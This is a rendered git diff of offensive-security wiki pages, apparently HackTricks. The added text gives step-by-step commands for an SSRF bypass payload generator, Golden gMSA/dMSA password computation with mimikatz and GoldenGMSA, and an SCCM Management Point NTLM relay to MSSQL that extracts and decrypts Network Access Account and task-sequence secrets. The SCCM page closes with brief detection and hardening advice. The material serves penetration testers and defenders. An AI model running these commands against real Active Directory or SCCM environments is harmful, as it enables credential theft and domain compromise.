| 2022 | CVE-2022-3602 | OpenSSL | Hostname verification skipped when the name is suffixed with a `.` (dotless domain confusion). |
|
||||||
|
|
||||||
|
When you depend on third-party URL parsers, **compare the canonicalised host returned by the library you trust with the raw string supplied by the user** to detect these classes of issues.
|
||||||
|
|
||||||
|
### Payload-generation helpers (2024+)
|
||||||
|
|
||||||
|
Creating large custom word-lists by hand is cumbersome. The open-source tool **SSRF-PayloadMaker** (Python 3) can now generate *80 k+* host-mangling combinations automatically, including mixed encodings, forced-HTTP downgrade and backslash variants:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Generate every known bypass that transforms the allowed host example.com to attacker.com
|
||||||
|
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
The resulting list can be fed directly into Burp Intruder or `ffuf`.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
- [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||||
- [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
|
- [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
|
||||||
|
- [https://nvd.nist.gov/vuln/detail/CVE-2024-22243](https://nvd.nist.gov/vuln/detail/CVE-2024-22243)
|
||||||
|
- [https://github.com/hsynuzm/SSRF-PayloadMaker](https://github.com/hsynuzm/SSRF-PayloadMaker)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -311,6 +311,13 @@ A strategy that many authors have come up with is to force a SYSTEM service to a
|
|||||||
[SweetPotato](https://github.com/CCob/SweetPotato) has a collection of these various techniques which can be executed via Beacon's `execute-assembly` command.
|
[SweetPotato](https://github.com/CCob/SweetPotato) has a collection of these various techniques which can be executed via Beacon's `execute-assembly` command.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### SCCM Management Point NTLM Relay (OSD Secret Extraction)
|
||||||
|
See how the default SQL roles of SCCM **Management Points** can be abused to dump Network Access Account and Task-Sequence secrets directly from the site database:
|
||||||
|
{{#ref}}
|
||||||
|
sccm-management-point-relay-sql-policy-secrets.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@ -23,7 +23,6 @@ No Kerberos traffic or domain interaction is required during normal password usa
|
|||||||
|
|
||||||
If an attacker can obtain all three inputs **offline** they can compute **valid current and future passwords** for **any gMSA/dMSA in the forest** without touching the DC again, bypassing:
|
If an attacker can obtain all three inputs **offline** they can compute **valid current and future passwords** for **any gMSA/dMSA in the forest** without touching the DC again, bypassing:
|
||||||
|
|
||||||
* Kerberos pre-authentication / ticket request logs
|
|
||||||
* LDAP read auditing
|
* LDAP read auditing
|
||||||
* Password change intervals (they can pre-compute)
|
* Password change intervals (they can pre-compute)
|
||||||
|
|
||||||
@ -31,11 +30,12 @@ This is analogous to a *Golden Ticket* for service accounts.
|
|||||||
|
|
||||||
### Prerequisites
|
### Prerequisites
|
||||||
|
|
||||||
1. **Forest-level compromise** of **one DC** (or Enterprise Admin). `SYSTEM` access is enough.
|
1. **Forest-level compromise** of **one DC** (or Enterprise Admin), or `SYSTEM` access to one of the DCs in the forest.
|
||||||
2. Ability to enumerate service accounts (LDAP read / RID brute-force).
|
2. Ability to enumerate service accounts (LDAP read / RID brute-force).
|
||||||
3. .NET ≥ 4.7.2 x64 workstation to run [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) or equivalent code.
|
3. .NET ≥ 4.7.2 x64 workstation to run [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) or equivalent code.
|
||||||
|
|
||||||
### Phase 1 – Extract the KDS Root Key
|
### Golden gMSA / dMSA
|
||||||
|
##### Phase 1 – Extract the KDS Root Key
|
||||||
|
|
||||||
Dump from any DC (Volume Shadow Copy / raw SAM+SECURITY hives or remote secrets):
|
Dump from any DC (Volume Shadow Copy / raw SAM+SECURITY hives or remote secrets):
|
||||||
|
|
||||||
@ -46,10 +46,17 @@ reg save HKLM\SYSTEM system.hive
|
|||||||
# With mimikatz on the DC / offline
|
# With mimikatz on the DC / offline
|
||||||
mimikatz # lsadump::secrets
|
mimikatz # lsadump::secrets
|
||||||
mimikatz # lsadump::trust /patch # shows KDS root keys too
|
mimikatz # lsadump::trust /patch # shows KDS root keys too
|
||||||
|
|
||||||
|
# With GoldendMSA
|
||||||
|
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
|
||||||
|
GoldendMSA.exe kds
|
||||||
|
|
||||||
|
# With GoldenGMSA
|
||||||
|
GoldenGMSA.exe kdsinfo
|
||||||
```
|
```
|
||||||
The base64 string labelled `RootKey` (GUID name) is required in later steps.
|
The base64 string labelled `RootKey` (GUID name) is required in later steps.
|
||||||
|
|
||||||
### Phase 2 – Enumerate gMSA/dMSA objects
|
##### Phase 2 – Enumerate gMSA / dMSA objects
|
||||||
|
|
||||||
Retrieve at least `sAMAccountName`, `objectSid` and `msDS-ManagedPasswordId`:
|
Retrieve at least `sAMAccountName`, `objectSid` and `msDS-ManagedPasswordId`:
|
||||||
|
|
||||||
@ -57,6 +64,8 @@ Retrieve at least `sAMAccountName`, `objectSid` and `msDS-ManagedPasswordId`:
|
|||||||
# Authenticated or anonymous depending on ACLs
|
# Authenticated or anonymous depending on ACLs
|
||||||
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
|
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
|
||||||
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
|
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
|
||||||
|
|
||||||
|
GoldenGMSA.exe gmsainfo
|
||||||
```
|
```
|
||||||
|
|
||||||
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implements helper modes:
|
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implements helper modes:
|
||||||
@ -69,10 +78,10 @@ GoldendMSA.exe info -d example.local -m ldap
|
|||||||
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||||
```
|
```
|
||||||
|
|
||||||
### Phase 3 – Guess / Discover the ManagedPasswordID (when missing)
|
##### Phase 3 – Guess / Discover the ManagedPasswordID (when missing)
|
||||||
|
|
||||||
Some deployments *strip* `msDS-ManagedPasswordId` from ACL-protected reads.
|
Some deployments *strip* `msDS-ManagedPasswordId` from ACL-protected reads.
|
||||||
Because the GUID is 128-bit, naïve bruteforce is infeasible, but:
|
Because the GUID is 128-bit, naive bruteforce is infeasible, but:
|
||||||
|
|
||||||
1. The first **32 bits = Unix epoch time** of the account creation (minutes resolution).
|
1. The first **32 bits = Unix epoch time** of the account creation (minutes resolution).
|
||||||
2. Followed by 96 random bits.
|
2. Followed by 96 random bits.
|
||||||
@ -84,16 +93,14 @@ GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUI
|
|||||||
```
|
```
|
||||||
The tool computes candidate passwords and compares their base64 blob against the real `msDS-ManagedPassword` attribute – the match reveals the correct GUID.
|
The tool computes candidate passwords and compares their base64 blob against the real `msDS-ManagedPassword` attribute – the match reveals the correct GUID.
|
||||||
|
|
||||||
### Phase 4 – Offline Password Computation & Conversion
|
##### Phase 4 – Offline Password Computation & Conversion
|
||||||
|
|
||||||
Once the ManagedPasswordID is known, the valid password is one command away:
|
Once the ManagedPasswordID is known, the valid password is one command away:
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
# derive base64 password
|
# derive base64 password
|
||||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID>
|
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
|
||||||
|
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
|
||||||
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
|
|
||||||
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
|
|
||||||
```
|
```
|
||||||
The resulting hashes can be injected with **mimikatz** (`sekurlsa::pth`) or **Rubeus** for Kerberos abuse, enabling stealth **lateral movement** and **persistence**.
|
The resulting hashes can be injected with **mimikatz** (`sekurlsa::pth`) or **Rubeus** for Kerberos abuse, enabling stealth **lateral movement** and **persistence**.
|
||||||
|
|
||||||
@ -108,13 +115,15 @@ The resulting hashes can be injected with **mimikatz** (`sekurlsa::pth`) or **Ru
|
|||||||
## Tooling
|
## Tooling
|
||||||
|
|
||||||
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – reference implementation used in this page.
|
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – reference implementation used in this page.
|
||||||
|
* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – reference implementation used in this page.
|
||||||
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
|
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
|
||||||
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket using derived AES keys.
|
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket using derived AES keys.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [Golden dMSA – authentication bypass for delegated Managed Service Accounts](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
|
- [Golden dMSA – authentication bypass for delegated Managed Service Accounts](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
|
||||||
|
- [gMSA Active Directory Attacks Accounts](https://www.semperis.com/blog/golden-gmsa-attack/)
|
||||||
- [Semperis/GoldenDMSA GitHub repository](https://github.com/Semperis/GoldenDMSA)
|
- [Semperis/GoldenDMSA GitHub repository](https://github.com/Semperis/GoldenDMSA)
|
||||||
- [Improsec – Golden gMSA trust attack](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
- [Improsec – Golden gMSA trust attack](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -0,0 +1,160 @@
|
|||||||
|
# SCCM Management Point NTLM Relay to SQL – OSD Policy Secret Extraction
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## TL;DR
|
||||||
|
By coercing a **System Center Configuration Manager (SCCM) Management Point (MP)** to authenticate over SMB/RPC and **relaying** that NTLM machine account to the **site database (MSSQL)** you obtain `smsdbrole_MP` / `smsdbrole_MPUserSvc` rights. These roles let you call a set of stored procedures that expose **Operating System Deployment (OSD)** policy blobs (Network Access Account credentials, Task-Sequence variables, etc.). The blobs are hex-encoded/encrypted but can be decoded and decrypted with **PXEthief**, yielding plaintext secrets.
|
||||||
|
|
||||||
|
High-level chain:
|
||||||
|
1. Discover MP & site DB ↦ unauthenticated HTTP endpoint `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
|
||||||
|
2. Start `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`.
|
||||||
|
3. Coerce MP using **PetitPotam**, PrinterBug, DFSCoerce, etc.
|
||||||
|
4. Through the SOCKS proxy connect with `mssqlclient.py -windows-auth` as the relayed **<DOMAIN>\\<MP-host>$** account.
|
||||||
|
5. Execute:
|
||||||
|
* `use CM_<SiteCode>`
|
||||||
|
* `exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''`
|
||||||
|
* `exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'` (or `MP_GetPolicyBodyAfterAuthorization`)
|
||||||
|
6. Strip `0xFFFE` BOM, `xxd -r -p` → XML → `python3 pxethief.py 7 <hex>`.
|
||||||
|
|
||||||
|
Secrets such as `OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password`, etc. are recovered without touching PXE or clients.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Enumerating unauthenticated MP endpoints
|
||||||
|
The MP ISAPI extension **GetAuth.dll** exposes several parameters that don’t require authentication (unless the site is PKI-only):
|
||||||
|
|
||||||
|
| Parameter | Purpose |
|
||||||
|
|-----------|---------|
|
||||||
|
| `MPKEYINFORMATIONMEDIA` | Returns site signing cert public key + GUIDs of *x86* / *x64* **All Unknown Computers** devices. |
|
||||||
|
| `MPLIST` | Lists every Management-Point in the site. |
|
||||||
|
| `SITESIGNCERT` | Returns Primary-Site signing certificate (identify the site server without LDAP). |
|
||||||
|
|
||||||
|
Grab the GUIDs that will act as the **clientID** for later DB queries:
|
||||||
|
```bash
|
||||||
|
curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Relay the MP machine account to MSSQL
|
||||||
|
```bash
|
||||||
|
# 1. Start the relay listener (SMB→TDS)
|
||||||
|
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
|
||||||
|
|
||||||
|
# 2. Trigger authentication from the MP (PetitPotam example)
|
||||||
|
python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
|
||||||
|
-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10
|
||||||
|
```
|
||||||
|
When the coercion fires you should see something like:
|
||||||
|
```
|
||||||
|
[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
|
||||||
|
[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Identify OSD policies via stored procedures
|
||||||
|
Connect through the SOCKS proxy (port 1080 by default):
|
||||||
|
```bash
|
||||||
|
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
|
||||||
|
```
|
||||||
|
Switch to the **CM_<SiteCode>** DB (use the 3-digit site code, e.g. `CM_001`).
|
||||||
|
|
||||||
|
### 3.1 Find Unknown-Computer GUIDs (optional)
|
||||||
|
```sql
|
||||||
|
USE CM_001;
|
||||||
|
SELECT SMS_Unique_Identifier0
|
||||||
|
FROM dbo.UnknownSystem_DISC
|
||||||
|
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.2 List assigned policies
|
||||||
|
```sql
|
||||||
|
EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
|
||||||
|
```
|
||||||
|
Each row contains `PolicyAssignmentID`,`Body` (hex), `PolicyID`, `PolicyVersion`.
|
||||||
|
|
||||||
|
Focus on policies:
|
||||||
|
* **NAAConfig** – Network Access Account creds
|
||||||
|
* **TS_Sequence** – Task Sequence variables (OSDJoinAccount/Password)
|
||||||
|
* **CollectionSettings** – Can contain run-as accounts
|
||||||
|
|
||||||
|
### 3.3 Retrieve full body
|
||||||
|
If you already have `PolicyID` & `PolicyVersion` you can skip the clientID requirement using:
|
||||||
|
```sql
|
||||||
|
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
|
||||||
|
```
|
||||||
|
> IMPORTANT: In SSMS increase “Maximum Characters Retrieved” (>65535) or the blob will be truncated.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Decode & decrypt the blob
|
||||||
|
```bash
|
||||||
|
# Remove the UTF-16 BOM, convert from hex → XML
|
||||||
|
echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
|
||||||
|
|
||||||
|
# Decrypt with PXEthief (7 = decrypt attribute value)
|
||||||
|
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
|
||||||
|
```
|
||||||
|
Recovered secrets example:
|
||||||
|
```
|
||||||
|
OSDJoinAccount : CONTOSO\\joiner
|
||||||
|
OSDJoinPassword: SuperSecret2025!
|
||||||
|
NetworkAccessUsername: CONTOSO\\SCCM_NAA
|
||||||
|
NetworkAccessPassword: P4ssw0rd123
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Relevant SQL roles & procedures
|
||||||
|
Upon relay the login is mapped to:
|
||||||
|
* `smsdbrole_MP`
|
||||||
|
* `smsdbrole_MPUserSvc`
|
||||||
|
|
||||||
|
These roles expose dozens of EXEC permissions, the key ones used in this attack are:
|
||||||
|
|
||||||
|
| Stored Procedure | Purpose |
|
||||||
|
|------------------|---------|
|
||||||
|
| `MP_GetMachinePolicyAssignments` | List policies applied to a `clientID`. |
|
||||||
|
| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Return complete policy body. |
|
||||||
|
| `MP_GetListOfMPsInSiteOSD` | Returned by `MPKEYINFORMATIONMEDIA` path. |
|
||||||
|
|
||||||
|
You can inspect the full list with:
|
||||||
|
```sql
|
||||||
|
SELECT pr.name
|
||||||
|
FROM sys.database_principals AS dp
|
||||||
|
JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
|
||||||
|
JOIN sys.objects AS pr ON pr.object_id = pe.major_id
|
||||||
|
WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
|
||||||
|
AND pe.permission_name='EXECUTE';
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Detection & Hardening
|
||||||
|
1. **Monitor MP logins** – any MP computer account logging in from an IP that isn’t its host ≈ relay.
|
||||||
|
2. Enable **Extended Protection for Authentication (EPA)** on the site database (`PREVENT-14`).
|
||||||
|
3. Disable unused NTLM, enforce SMB signing, restrict RPC (
|
||||||
|
same mitigations used against `PetitPotam`/`PrinterBug`).
|
||||||
|
4. Harden MP ↔ DB communication with IPSec / mutual-TLS.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## See also
|
||||||
|
* NTLM relay fundamentals:
|
||||||
|
{{#ref}}
|
||||||
|
../ntlm/README.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
* MSSQL abuse & post-exploitation:
|
||||||
|
{{#ref}}
|
||||||
|
abusing-ad-mssql.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
- [I’d Like to Speak to Your Manager: Stealing Secrets with Management Point Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
|
||||||
|
- [PXEthief](https://github.com/MWR-CyberSec/PXEThief)
|
||||||
|
- [Misconfiguration Manager – ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
Loading…
x
Reference in New Issue
Block a user